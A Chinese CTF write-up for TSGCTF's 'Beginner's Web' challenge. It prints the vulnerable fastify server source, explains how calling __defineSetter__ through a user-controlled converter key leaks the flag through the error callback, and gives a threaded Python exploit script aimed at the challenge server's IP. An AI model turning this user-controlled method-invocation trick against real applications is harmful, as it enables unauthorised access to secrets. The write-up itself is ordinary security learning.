zoukankan      html  css  js  c++  java
  • TSGCTF-web Beginner's Web (js内置方法__defineSetter__)

     1 const fastify = require('fastify');
     2 const nunjucks = require('nunjucks');
     3 const crypto = require('crypto');
     4 
     5 
     6 const converters = {};
     7 
     8 const flagConverter = (input, callback) => {
     9   const flag = '*** CENSORED ***';
    10   callback(null, flag);
    11 };
    12 
    13 const base64Converter = (input, callback) => {
    14   try {
    15     const result = Buffer.from(input).toString('base64');
    16     callback(null, result)
    17   } catch (error) {
    18     callback(error);
    19   }
    20 };
    21 
    22 const scryptConverter = (input, callback) => {
    23   crypto.scrypt(input, 'I like sugar', 64, (error, key) => {
    24     if (error) {
    25       callback(error);
    26     } else {
    27       callback(null, key.toString('hex'));
    28     }
    29   });
    30 };
    31 
    32 
    33 const app = fastify();
    34 app.register(require('point-of-view'), {engine: {nunjucks}});
    35 app.register(require('fastify-formbody'));
    36 app.register(require('fastify-cookie'));
    37 app.register(require('fastify-session'), {secret: Math.random().toString(2), cookie: {secure: false}});
    38 
    39 app.get('/', async (request, reply) => {
    40   reply.view('index.html', {sessionId: request.session.sessionId});
    41 });
    42 
    43 app.post('/', async (request, reply) => {
    44   if (request.body.converter.match(/[FLAG]/)) {
    45     throw new Error("Don't be evil :)");
    46   }
    47 
    48   if (request.body.input.length < 10) {
    49     throw new Error('Too short :(');
    50   }
    51 
    52   converters['base64'] = base64Converter;
    53   converters['scrypt'] = scryptConverter;
    54   converters[`FLAG_${request.session.sessionId}`] = flagConverter;
    55 
    56   const result = await new Promise((resolve, reject) => {
    57     converters[request.body.converter](request.body.input, (error, result) => {
    58       if (error) {
    59         reject(error);
    60       } else {
    61         resolve(result);
    62       }
    63     });
    64   });
    65 
    66   reply.view('index.html', {
    67     input: request.body.input,
    68     result,
    69     sessionId: request.session.sessionId,
    70   });
    71 });
    72 
    73 app.setErrorHandler((error, request, reply) => {
    74   reply.view('index.html', {error, sessionId: request.session.sessionId});
    75 });
    76 
    77 app.listen(59101, '0.0.0.0');

     页面下方有显示出用户sessionID,结合源码不难看出可以利用flagConverter获得flag。因为有匹配,所以直接在converter参数传入FLAG_${request.session.sessionId}是行不通的。

    利用__defineSetter__创造出名为FLAG_${request.session.sessionId}的数组键名 (${request.session.sessionId}表示sessionID)。

    __defineSetter__介绍:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__

    __defineSetter__有两个参数,第一个是属性,第二个是函数。实际上就是绑个函数在指定属性上,当指定属性被赋值时,该函数会被调用。

    converters[request.body.converter](request.body.input, (error, result)是用户可控的,(error, result)是箭头函数有两个参数


    input输入FLAG_${request.session.sessionId},converter参数输入__defineSetter__就可以成功把(error, result)绑在FLAG_${request.session.sessionId}上。FLAG_${request.session.sessionId}对应箭头函数的第一个参数error,最后能通过error把flag输出

    我们还需要对promise有所了解    https://blog.csdn.net/new__person/article/details/103702562

    因为 __defineSetter__没有被触发,promise不会有返回结果,所以http没有response

    此时应该是这样的__defineSetter(FLAG_${request.session.sessionId},undefined)

     我们直接回到post

     红色箭头所指的是一个赋值操作,只要执行这条语句就能触发我们之前的__defineSetter__。非常的amazing啊,我们只要再发一个不会在前两个if判断挂掉的包就能成功触发。触发之后就会把FLAG_${request.session.sessionId}传入箭头函数,作为其第一个参数error,通过reject(error)输出。这里使用python发包

    exp:

    #!/usr/bin/python3
    import threading
    import requests
    import time
    
    cookie = {"sessionId" : "Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY.ZyckOkEpT1GboSRLgcE1I%2BZ52%2FqfSQEZWkq1%2F5dyJB"}
    def sendPayload():
        r = requests.post("http://35.221.81.216:59101",data={"converter":"__defineSetter__","input":"FLAG_Qaa0ZB24y079HE3S4XNVGrRYk0dnpAAY"},cookies=cookie)
        print(r.text)
    
    threading.Thread(target=sendPayload).start()
    requests.post("http://35.221.81.216:59101",data={"converter":"base64","input":"55555555555555555555"},cookies=cookie)

    这题叫beginner可真是太艹了
    本人js菜的抠脚,如果有不对的地方,望各位师傅斧正

  • 相关阅读:
    如何进行有效沟通避免出现误会
    如何进行有效沟通
    怎样提高自己的团队合作能力
    javaScript简介
    css文本格式详解
    css简介及相关概念
    WebGL10---3D模型的加载与使用
    Canvas绘图与动画详解
    Canvas绘制时钟
    WebGL9----将canvas作为纹理,将动画作为纹理(2)
  • 原文地址:https://www.cnblogs.com/remon535/p/13374665.html
Copyright © 2011-2022 走看看